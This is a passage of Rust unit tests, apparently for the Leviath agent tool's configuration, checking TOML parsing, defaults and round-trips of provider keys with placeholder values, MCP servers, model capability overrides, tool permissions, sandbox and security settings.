2586        assert!(!config.title.enabled);
2587        assert_eq!(config.tool_permissions.get("bash"), Some(&ToolPolicy::Deny));
2588        assert_eq!(
2589            config.tool_permissions.get("read_file"),
2590            Some(&ToolPolicy::Allow)
2591        );
2592    }
2593
2594    #[test]
2595    fn config_from_minimal_toml() {
2596        let toml_content = r#"
2597default_provider = "anthropic"
2598agent_paths = []
2599
2600[providers]
2601"#;
2602        let config: Config = toml::from_str(toml_content).unwrap();
2603        assert_eq!(config.default_provider, "anthropic");
2604        assert!(config.providers.anthropic_api_key.is_none());
2605    }
2606
2607    #[test]
2608    fn the_three_lines_that_point_leviath_at_openrouter_are_enough() {
2609        // What a user writes by hand after reading the OpenRouter docs. Every
2610        // field on Config used to be required, so this failed with `missing
2611        // field `providers`` - a table they have no reason to know about, in a
2612        // message that says nothing about what to add.
2613        let config: Config = toml::from_str(
2614            r#"
2615default_provider = "openrouter"
2616default_model = "openai/gpt-4o-mini"
2617openrouter_api_key = "sk-or-test"
2618"#,
2619        )
2620        .expect("a hand-written OpenRouter config parses");
2621        assert_eq!(config.default_provider, "openrouter");
2622        assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-test"));
2623        assert_eq!(config.default_model.as_deref(), Some("openai/gpt-4o-mini"));
2624    }
2625
2626    #[test]
2627    fn an_empty_config_file_parses_to_the_defaults() {
2628        // Pins the serde defaults against `Config::default` in both
2629        // directions: a field that gains one but not the other means a fresh
2630        // file and a fresh struct disagree about the same install.
2631        let parsed: Config = toml::from_str("").expect("an empty config parses");
2632        let default = Config::default();
2633        assert_eq!(parsed.default_provider, default.default_provider);
2634        assert_eq!(parsed.agent_paths, default.agent_paths);
2635        assert_eq!(parsed.openrouter_api_key, default.openrouter_api_key);
2636        assert_eq!(parsed.ollama_base_url, default.ollama_base_url);
2637        assert_eq!(parsed.default_model, default.default_model);
2638        assert_eq!(parsed.request_timeout_secs, default.request_timeout_secs);
2639        assert_eq!(
2640            parsed.providers.anthropic_api_key,
2641            default.providers.anthropic_api_key
2642        );
2643        assert_eq!(
2644            parsed.providers.claude_code_enabled,
2645            default.providers.claude_code_enabled
2646        );
2647    }
2648
2649    #[test]
2650    fn config_from_toml_with_mcp_servers() {
2651        let toml_content = r#"
2652default_provider = "anthropic"
2653agent_paths = []
2654
2655[providers]
2656
2657[[mcp_servers]]
2658name = "test-server"
2659command = "echo"
2660args = ["hello"]
2661"#;
2662        let config: Config = toml::from_str(toml_content).unwrap();
2663        assert_eq!(config.mcp_servers.len(), 1);
2664        assert_eq!(config.mcp_servers[0].name, "test-server");
2665    }
2666
2667    #[test]
2668    fn load_rejects_a_malformed_mcp_server_entry() {
2669        // An entry with neither `command` nor `url` can never connect, so it
2670        // must fail at load - naming the server - rather than silently drop its
2671        // tools until the first call.
2672        let dir = tempfile::tempdir().unwrap();
2673        let path = dir.path().join("config.toml");
2674        std::fs::write(
2675            &path,
2676            r#"
2677default_provider = "anthropic"
2678agent_paths = []
2679
2680[providers]
2681
2682[[mcp_servers]]
2683name = "broken"
2684"#,
2685        )
2686        .unwrap();
2687
2688        let err = Config::load_from_path(&path).expect_err("malformed entry must fail load");
2689        let msg = err.to_string();
2690        assert!(msg.contains("broken"), "must name the server: {msg}");
2691    }
2692
2693    #[test]
2694    fn load_accepts_a_well_formed_http_mcp_server() {
2695        let dir = tempfile::tempdir().unwrap();
2696        let path = dir.path().join("config.toml");
2697        std::fs::write(
2698            &path,
2699            r#"
2700default_provider = "anthropic"
2701agent_paths = []
2702
2703[providers]
2704
2705[[mcp_servers]]
2706name = "remote"
2707url = "https://mcp.example.com/mcp"
2708"#,
2709        )
2710        .unwrap();
2711
2712        let config = Config::load_from_path(&path).expect("valid http entry should load");
2713        assert_eq!(
2714            config.mcp_servers[0].url.as_deref(),
2715            Some("https://mcp.example.com/mcp")
2716        );
2717    }
2718
2719    #[test]
2720    fn config_from_toml_with_model_capabilities() {
2721        // A one-field entry, which is what someone correcting a wrong context
2722        // window actually writes. It used to fail to deserialize and be dropped
2723        // in silence (#338); now it parses and names only that field, so
2724        // everything it did not mention comes from the provider.
2725        let toml = r#"
2726[model_capabilities."my-custom-model"]
2727max_context_tokens = 1048576
2728"#;
2729        let config: Config = toml::from_str(toml).expect("a partial entry parses");
2730        let entry = config
2731            .model_capabilities
2732            .get("my-custom-model")
2733            .expect("the entry survives");
2734        assert_eq!(entry.max_context_tokens, Some(1_048_576));
2735        assert_eq!(
2736            entry.max_output_tokens, None,
2737            "an unmentioned field stays unset rather than defaulting"
2738        );
2739        assert_eq!(entry.supports_tools, None);
2740    }
2741
2742    /// A misspelled key is refused rather than ignored, so a typo cannot look
2743    /// like a working override.
2744    #[test]
2745    fn config_model_capabilities_rejects_an_unknown_key() {
2746        let toml = r#"
2747[model_capabilities."my-custom-model"]
2748max_contxt_tokens = 1048576
2749"#;
2750        assert!(toml::from_str::<Config>(toml).is_err());
2751    }
2752
2753    #[test]
2754    fn validate_keys_is_quiet_about_blank_keys() {
2755        let mut config = Config::default();
2756        config.providers.anthropic_api_key = Some(String::new());
2757        config.providers.openai_api_key = Some("   ".to_string());
2758        assert!(config.validate_keys().is_empty());
2759        // A genuinely wrong-looking key still warns.
2760        config.providers.anthropic_api_key = Some("nope".to_string());
2761        assert_eq!(config.validate_keys().len(), 1);
2762    }
2763
2764    #[test]
2765    fn validate_keys_both_bad() {
2766        let config = Config {
2767            providers: ProviderConfig {
2768                anthropic_api_key: Some("bad".to_string()),
2769                openai_api_key: Some("bad".to_string()),
2770                google_api_key: None,
2771                claude_code_enabled: false,
2772                claude_code_binary: None,
2773                claude_code_effort: None,
2774                anthropic_cache_ttl: None,
2775                fallback_order: Vec::new(),
2776            },
2777            ..Config::default()
2778        };
2779        let warnings = config.validate_keys();
2780        assert_eq!(warnings.len(), 2);
2781    }
2782
2783    // ─── config_path ───────────────────────────────────────────────────────
2784
2785    #[test]
2786    fn config_path_contains_leviath() {
2787        // Force `LEVIATH_CONFIG_PATH` unset (via `temp_env::with_var_unset`,
2788        // which also serializes against every other temp-env test) so
2789        // `config_path()` resolves to the real default, not a concurrently-set
2790        // override.
2791        temp_env::with_var_unset("LEVIATH_CONFIG_PATH", || {
2792            let path = Config::config_path();
2793            assert!(path.to_str().unwrap().contains(".leviath"));
2794            assert!(path.to_str().unwrap().ends_with("config.toml"));
2795        });
2796    }
2797
2798    // ─── Config save/load roundtrip ────────────────────────────────────────
2799
2800    #[test]
2801    fn config_toml_roundtrip() {
2802        let config = Config {
2803            default_provider: "openai".to_string(),
2804            providers: ProviderConfig {
2805                anthropic_api_key: Some("sk-ant-key".to_string()),
2806                openai_api_key: None,
2807                google_api_key: None,
2808                claude_code_enabled: false,
2809                claude_code_binary: None,
2810                claude_code_effort: None,
2811                anthropic_cache_ttl: None,
2812                fallback_order: Vec::new(),
2813            },
2814            tool_permissions: {
2815                let mut m = HashMap::new();
2816                m.insert("bash".to_string(), ToolPolicy::Deny);
2817                m
2818            },
2819            ..Config::default()
2820        };
2821
2822        let serialized = toml::to_string_pretty(&config).unwrap();
2823        let deserialized: Config = toml::from_str(&serialized).unwrap();
2824        assert_eq!(deserialized.default_provider, "openai");
2825        assert_eq!(
2826            deserialized.providers.anthropic_api_key.as_deref(),
2827            Some("sk-ant-key")
2828        );
2829        assert_eq!(
2830            deserialized.tool_permissions.get("bash"),
2831            Some(&ToolPolicy::Deny)
2832        );
2833    }
2834
2835    // ─── validate_keys: both keys valid ──────────────────────────────────
2836
2837    #[test]
2838    fn validate_keys_both_valid() {
2839        let config = Config {
2840            providers: ProviderConfig {
2841                anthropic_api_key: Some("sk-ant-good-key".to_string()),
2842                openai_api_key: Some("sk-good-key".to_string()),
2843                google_api_key: None,
2844                claude_code_enabled: false,
2845                claude_code_binary: None,
2846                claude_code_effort: None,
2847                anthropic_cache_ttl: None,
2848                fallback_order: Vec::new(),
2849            },
2850            ..Config::default()
2851        };
2852        assert!(config.validate_keys().is_empty());
2853    }
2854
2855    // ─── validate_keys: google key has no validation ─────────────────────
2856
2857    #[test]
2858    fn validate_keys_google_key_not_validated() {
2859        let config = Config {
2860            providers: ProviderConfig {
2861                anthropic_api_key: None,
2862                openai_api_key: None,
2863                google_api_key: Some("anything-goes".to_string()),
2864                claude_code_enabled: false,
2865                claude_code_binary: None,
2866                claude_code_effort: None,
2867                anthropic_cache_ttl: None,
2868                fallback_order: Vec::new(),
2869            },
2870            ..Config::default()
2871        };
2872        // Google key has no prefix validation
2873        assert!(config.validate_keys().is_empty());
2874    }
2875
2876    // ─── Config TOML parsing: registries ─────────────────────────────────
2877
2878    #[test]
2879    fn config_from_toml_custom_registries() {
2880        let toml_content = r#"
2881default_provider = "anthropic"
2882agent_paths = ["/my/agents"]
2883
2884[providers]
2885"#;
2886        let config: Config = toml::from_str(toml_content).unwrap();
2887        assert_eq!(config.agent_paths.len(), 1);
2888    }
2889
2890    // ─── Config save writes file ─────────────────────────────────────────
2891
2892    #[test]
2893    fn config_save_creates_file() {
2894        let dir = tempfile::tempdir().unwrap();
2895        let config_path = dir.path().join("subdir").join("config.toml");
2896        // We can't easily test Config::save() because it uses a fixed path,
2897        // but we can test the serialization and write manually
2898        let config = Config::default();
2899        let content = toml::to_string_pretty(&config).unwrap();
2900        std::fs::create_dir_all(config_path.parent().unwrap()).unwrap();
2901        std::fs::write(&config_path, &content).unwrap();
2902        assert!(config_path.exists());
2903        let loaded_content = std::fs::read_to_string(&config_path).unwrap();
2904        let loaded: Config = toml::from_str(&loaded_content).unwrap();
2905        assert_eq!(loaded.default_provider, "anthropic");
2906    }
2907
2908    // ─── TitleConfig serde from TOML ─────────────────────────────────────
2909
2910    #[test]
2911    fn title_config_from_toml_defaults() {
2912        let toml_content = r#"
2913default_provider = "anthropic"
2914agent_paths = []
2915
2916[providers]
2917"#;
2918        let config: Config = toml::from_str(toml_content).unwrap();
2919        assert!(config.title.enabled);
2920        assert!(config.title.provider.is_none());
2921        assert!(config.title.model.is_none());
2922    }
2923
2924    #[test]
2925    fn title_config_from_toml_disabled() {
2926        let toml_content = r#"
2927default_provider = "anthropic"
2928agent_paths = []
2929
2930[providers]
2931
2932[title]
2933enabled = false
2934"#;
2935        let config: Config = toml::from_str(toml_content).unwrap();
2936        assert!(!config.title.enabled);
2937    }
2938
2939    #[test]
2940    fn title_config_missing_enabled_key_uses_default_true() {
2941        // Unlike `title_config_from_toml_defaults` (which omits the whole
2942        // `[title]` table, falling back to `Config`'s own `#[serde(default)]`
2943        // for the field - never invoking `TitleConfig`'s own per-field
2944        // parsing at all), this includes `[title]` but omits `enabled`
2945        // specifically, forcing serde to deserialize `TitleConfig` field by
2946        // field and fall back to `default_true()` for the missing key.
2947        let toml_content = r#"
2948default_provider = "anthropic"
2949agent_paths = []
2950
2951[providers]
2952
2953[title]
2954provider = "openai"
2955"#;
2956        let config: Config = toml::from_str(toml_content).unwrap();
2957        assert!(config.title.enabled);
2958        assert_eq!(config.title.provider.as_deref(), Some("openai"));
2959    }
2960
2961    // ─── ToolPolicy in tool_permissions ───────────────────────────────────
2962
2963    #[test]
2964    fn config_tool_permissions_allow() {
2965        let toml_content = r#"
2966default_provider = "anthropic"
2967agent_paths = []
2968
2969[providers]
2970
2971[tool_permissions]
2972read_file = "allow"
2973write_file = "ask"
2974bash = "deny"
2975"#;
2976        let config: Config = toml::from_str(toml_content).unwrap();
2977        assert_eq!(
2978            config.tool_permissions.get("read_file"),
2979            Some(&ToolPolicy::Allow)
2980        );
2981        assert_eq!(
2982            config.tool_permissions.get("write_file"),
2983            Some(&ToolPolicy::Ask)
2984        );
2985        assert_eq!(config.tool_permissions.get("bash"), Some(&ToolPolicy::Deny));
2986    }
2987
2988    // ─── Config with agent_paths ─────────────────────────────────────────
2989
2990    #[test]
2991    fn config_with_agent_paths() {
2992        let toml_content = r#"
2993default_provider = "anthropic"
2994agent_paths = ["/home/user/agents", "/opt/agents"]
2995
2996[providers]
2997"#;
2998        let config: Config = toml::from_str(toml_content).unwrap();
2999        assert_eq!(config.agent_paths.len(), 2);
3000    }
3001
3002    // ─── Config load() ────────────────────────────────────────────────────
3003
3004    #[test]
3005    fn config_load_from_nonexistent_path_returns_default() {
3006        // Config::load() uses a fixed path; we can test indirectly by
3007        // verifying defaults are applied when no file exists.
3008        // We can't easily override the path, but we can verify default behavior.
3009        let config = Config::default();
3010        assert_eq!(config.default_provider, "anthropic");
3011        assert!(config.providers.anthropic_api_key.is_none());
3012    }
3013
3014    #[test]
3015    fn config_load_from_toml_string() {
3016        // Test the TOML parsing path of load() by parsing directly.
3017        let toml_content = r#"
3018default_provider = "openai"
3019agent_paths = []
3020
3021[providers]
3022anthropic_api_key = "sk-ant-test-key"
3023"#;
3024        let config: Config = toml::from_str(toml_content).unwrap();
3025        assert_eq!(config.default_provider, "openai");
3026        assert_eq!(
3027            config.providers.anthropic_api_key.as_deref(),
3028            Some("sk-ant-test-key")
3029        );
3030        // No [nudge] section ⇒ every field unset ⇒ built-in defaults apply.
3031        assert_eq!(config.nudge, leviath_core::NudgeConfig::default());
3032    }
3033
3034    #[test]
3035    fn config_parses_partial_nudge_section() {
3036        // A [nudge] section only pins the keys it names.
3037        let config: Config = toml::from_str(
3038            r#"
3039default_provider = "openai"
3040agent_paths = []
3041
3042[providers]
3043
3044[nudge]
3045enabled = false
3046"#,
3047        )
3048        .unwrap();
3049        assert_eq!(config.nudge.enabled, Some(false));
3050        assert_eq!(config.nudge.max, None);
3051        assert_eq!(config.nudge.text, None);
3052    }
3053
3054    #[test]
3055    fn config_save_and_load_with_file() {
3056        // Test Config::save() by writing to a temp location manually.
3057        let dir = tempfile::tempdir().unwrap();
3058        let config_path = dir.path().join("config.toml");
3059
3060        let config = Config {
3061            default_provider: "openai".to_string(),
3062            providers: ProviderConfig {
3063                anthropic_api_key: Some("sk-ant-test".to_string()),
3064                openai_api_key: Some("sk-test".to_string()),
3065                google_api_key: None,
3066                claude_code_enabled: false,
3067                claude_code_binary: None,
3068                claude_code_effort: None,
3069                anthropic_cache_ttl: None,
3070                fallback_order: Vec::new(),
3071            },
3072            openrouter_api_key: Some("sk-or-test".to_string()),
3073            default_model: Some("gpt-5".to_string()),
3074            ..Config::default()
3075        };
3076
3077        let content = toml::to_string_pretty(&config).unwrap();
3078        std::fs::write(&config_path, &content).unwrap();
3079
3080        let loaded_content = std::fs::read_to_string(&config_path).unwrap();
3081        let loaded: Config = toml::from_str(&loaded_content).unwrap();
3082
3083        assert_eq!(loaded.default_provider, "openai");
3084        assert_eq!(
3085            loaded.providers.anthropic_api_key.as_deref(),
3086            Some("sk-ant-test")
3087        );
3088        assert_eq!(loaded.default_model.as_deref(), Some("gpt-5"));
3089    }
3090
3091    #[test]
3092    fn config_create_config_dir_creates_parent() {
3093        let dir = tempfile::tempdir().unwrap();
3094        let new_dir = dir.path().join("nested").join("config");
3095        // create_config_dir is private, but we test indirectly via filesystem
3096        std::fs::create_dir_all(&new_dir).unwrap();
3097        assert!(new_dir.exists());
3098    }
3099
3100    #[test]
3101    fn config_default_title_enabled() {
3102        let config = Config::default();
3103        assert!(config.title.enabled);
3104    }
3105
3106    #[test]
3107    fn config_serialize_with_all_options() {
3108        let mut model_caps = HashMap::new();
3109        model_caps.insert(
3110            "my-model".to_string(),
3111            ModelCapabilityOverride {
3112                supports_temperature: Some(true),
3113                supports_streaming: Some(true),
3114                supports_tools: Some(true),
3115                supports_system_prompt: Some(true),
3116                max_context_tokens: Some(8192),
3117                max_output_tokens: Some(4096),
3118            },
3119        );
3120        let mut tool_perms = HashMap::new();
3121        tool_perms.insert("bash".to_string(), ToolPolicy::Allow);
3122
3123        let config = Config {
3124            default_provider: "anthropic".to_string(),
3125            providers: ProviderConfig {
3126                anthropic_api_key: Some("sk-ant-key".to_string()),
3127                openai_api_key: None,
3128                google_api_key: None,
3129                claude_code_enabled: false,
3130                claude_code_binary: None,
3131                claude_code_effort: None,
3132                anthropic_cache_ttl: None,
3133                fallback_order: Vec::new(),
3134            },
3135            agent_paths: vec![std::path::PathBuf::from("/my/agents")],
3136            openrouter_api_key: None,
3137            ollama_base_url: Some("http://custom:11434".to_string()),
3138            mcp_servers: vec![],
3139            default_model: None,
3140            model_capabilities: model_caps,
3141            model_providers: HashMap::new(),
3142            tool_permissions: tool_perms,
3143            agent_tool_permissions: HashMap::new(),
3144            safe_commands: crate::approvals::SafeCommands::default(),
3145            agent_safe_commands: HashMap::new(),
3146            title: TitleConfig {
3147                enabled: false,
3148                provider: Some("openai".to_string()),
3149                model: Some("gpt-5-mini".to_string()),
3150            },
3151            request_timeout_secs: None,
3152            rate_limits: HashMap::new(),
3153            taint_tracking: false,
3154            limits: LimitsConfig {
3155                mcp_idle_disconnect_secs: default_mcp_idle_disconnect_secs(),
3156                max_tool_call_write_bytes: None,
3157                max_run_write_bytes: None,
3158                max_concurrent_inferences: Some(4),
3159                max_concurrent_tools: 3,
3160                default_max_iterations: Some(99),
3161                exact_token_counting: false,
3162                script_shell_timeout_secs: 45,
3163                stall_timeout_secs: 90,
3164                dead_cycles_before_relief: 6,
3165                finished_retention_secs: 120,
3166                wedge_timeout_secs: 420,
3167                provider_failures_before_open: 5,
3168                provider_circuit_cooldown_secs: 120,
3169                interaction_timeout_secs: 120,
3170            },
3171            batch_tool_hint: true,
3172            shell_hint: false,
3173            nudge: leviath_core::NudgeConfig {
3174                enabled: Some(true),
3175                max: Some(2),
3176                text: Some("Use your tools.".to_string()),
3177            },
3178            webhook: WebhookConfig {
3179                max_retries: 5,
3180                base_delay_ms: 250,
3181                max_delay_ms: 10_000,
3182                timeout_secs: 7,
3183            },
3184            observability: ObservabilityConfig {
3185                enabled: true,
3186                exporter: TelemetryExporterKind::Stdout,
3187                endpoint: Some("http://collector:4318".to_string()),
3188                service_name: Some("leviath-prod".to_string()),
3189            },
3190            sandbox: Some(leviath_core::ToolSandboxConfig {
3191                kind: leviath_core::SandboxKind::Container,
3192                image: Some("ubuntu:24.04".to_string()),
3193                network: false,
3194                ..Default::default()
3195            }),
3196            tool_script_permissions: ScriptToolPermissions {
3197                http_get: ScriptPermission::Allow,
3198                http_post: ScriptPermission::Deny,
3199                shell: ScriptPermission::Deny,
3200                read_file: ScriptPermission::Inherit,
3201                write_file: ScriptPermission::Deny,
3202                env_var: ScriptPermission::Allow,
3203            },
3204            security: SecurityConfig {
3205                allowed_workdirs: Vec::new(),
3206                allow_seed_commands: false,
3207                allow_local_network: true,
3208                allow_env_vars: vec!["MY_PROVIDER_KEY".to_string()],
3209                allow_blueprint_read_paths: true,
3210                allow_blueprint_safe_commands: true,
3211                read_paths: vec!["~/.leviath/runs".to_string()],
3212                credential_store: leviath_core::CredentialStoreKind::Keychain,
3213                allow_blueprint_permissions: false,
3214                shell_env: leviath_core::ShellEnvMode::default(),
3215                shell_env_withhold: Vec::new(),
3216            },
3217            agent_read_paths: HashMap::from([(
3218                "cto".to_string(),
3219                ReadPathGrants {
3220                    allow: vec!["glob:~/design-docs/**".to_string()],
3221                },
3222            )]),
3223        };
3224
3225        let serialized = toml::to_string_pretty(&config).unwrap();
3226        let deserialized: Config = toml::from_str(&serialized).unwrap();
3227
3228        assert_eq!(deserialized.default_provider, "anthropic");
3229        assert_eq!(deserialized.limits.max_concurrent_inferences, Some(4));
3230        assert_eq!(deserialized.limits.max_concurrent_tools, 3);
3231        assert_eq!(deserialized.limits.script_shell_timeout_secs, 45);
3232        assert_eq!(deserialized.limits.dead_cycles_before_relief, 6);
3233        assert_eq!(deserialized.limits.finished_retention_secs, 120);
3234        assert_eq!(
3235            deserialized.tool_script_permissions.http_get,
3236            ScriptPermission::Allow
3237        );
3238        assert_eq!(
3239            deserialized.tool_script_permissions.shell,
3240            ScriptPermission::Deny
3241        );
3242        assert_eq!(
3243            deserialized.tool_script_permissions.write_file,
3244            ScriptPermission::Deny
3245        );
3246        // `shell_hint` defaults to true, so a `false` surviving the round trip
3247        // is what proves the field is actually written and read back.
3248        assert!(deserialized.batch_tool_hint);
3249        assert!(!deserialized.shell_hint);
3250        assert!(!deserialized.security.allow_seed_commands);
3251        assert!(deserialized.security.allow_blueprint_read_paths);
3252        assert_eq!(deserialized.security.read_paths, vec!["~/.leviath/runs"]);
3253        assert_eq!(
3254            deserialized.agent_read_paths.get("cto"),
3255            Some(&ReadPathGrants {
3256                allow: vec!["glob:~/design-docs/**".to_string()],
3257            })
3258        );
3259        assert_eq!(
3260            deserialized.nudge,
3261            leviath_core::NudgeConfig {
3262                enabled: Some(true),
3263                max: Some(2),
3264                text: Some("Use your tools.".to_string()),
3265            }
3266        );
3267        assert_eq!(deserialized.webhook.max_retries, 5);
3268        assert_eq!(deserialized.webhook.base_delay_ms, 250);
3269        assert_eq!(deserialized.webhook.max_delay_ms, 10_000);
3270        assert_eq!(deserialized.webhook.timeout_secs, 7);
3271        assert!(deserialized.observability.enabled);
3272        assert_eq!(
3273            deserialized.observability.exporter,
3274            TelemetryExporterKind::Stdout
3275        );
3276        assert_eq!(
3277            deserialized.observability.endpoint.as_deref(),
3278            Some("http://collector:4318")
3279        );
3280        assert_eq!(
3281            deserialized.observability.service_name.as_deref(),
3282            Some("leviath-prod")
3283        );
3284        assert_eq!(deserialized.limits.default_max_iterations, Some(99));
3285        assert_eq!(
3286            deserialized.providers.anthropic_api_key.as_deref(),
3287            Some("sk-ant-key")
3288        );
3289        assert_eq!(deserialized.agent_paths.len(), 1);
3290        assert!(deserialized.model_capabilities.contains_key("my-model"));
3291        assert_eq!(
3292            deserialized.tool_permissions.get("bash"),
3293            Some(&ToolPolicy::Allow)
3294        );
3295        assert!(!deserialized.title.enabled);
3296        assert_eq!(deserialized.title.provider.as_deref(), Some("openai"));
3297        let sandbox = deserialized.sandbox.expect("sandbox round-trips");
3298        assert_eq!(sandbox.kind, leviath_core::SandboxKind::Container);
3299        assert_eq!(sandbox.image.as_deref(), Some("ubuntu:24.04"));
3300        assert!(!sandbox.network);
3301    }
3302
3303    // ─── Config with multiple model_capabilities ─────────────────────────
3304
3305    #[test]
3306    fn config_multiple_model_capabilities() {
3307        let toml_content = r#"
3308default_provider = "anthropic"
3309agent_paths = []
3310
3311[providers]
3312
3313[model_capabilities."model-a"]
3314supports_temperature = true
3315supports_streaming = true
3316supports_tools = true
3317supports_system_prompt = true
3318max_context_tokens = 8192
3319max_output_tokens = 4096
3320
3321[model_capabilities."model-b"]
3322supports_temperature = false
3323supports_streaming = false
3324supports_tools = false
3325supports_system_prompt = false
3326max_context_tokens = 2048
3327max_output_tokens = 1024
3328"#;
3329        let config: Config = toml::from_str(toml_content).unwrap();
3330        assert_eq!(config.model_capabilities.len(), 2);
3331        let caps_a = config.model_capabilities.get("model-a").unwrap();
3332        assert_eq!(caps_a.supports_temperature, Some(true));
3333        assert_eq!(caps_a.max_context_tokens, Some(8192));
3334        let caps_b = config.model_capabilities.get("model-b").unwrap();
3335        assert_eq!(caps_b.supports_temperature, Some(false));
3336        assert_eq!(caps_b.max_context_tokens, Some(2048));
3337    }
3338}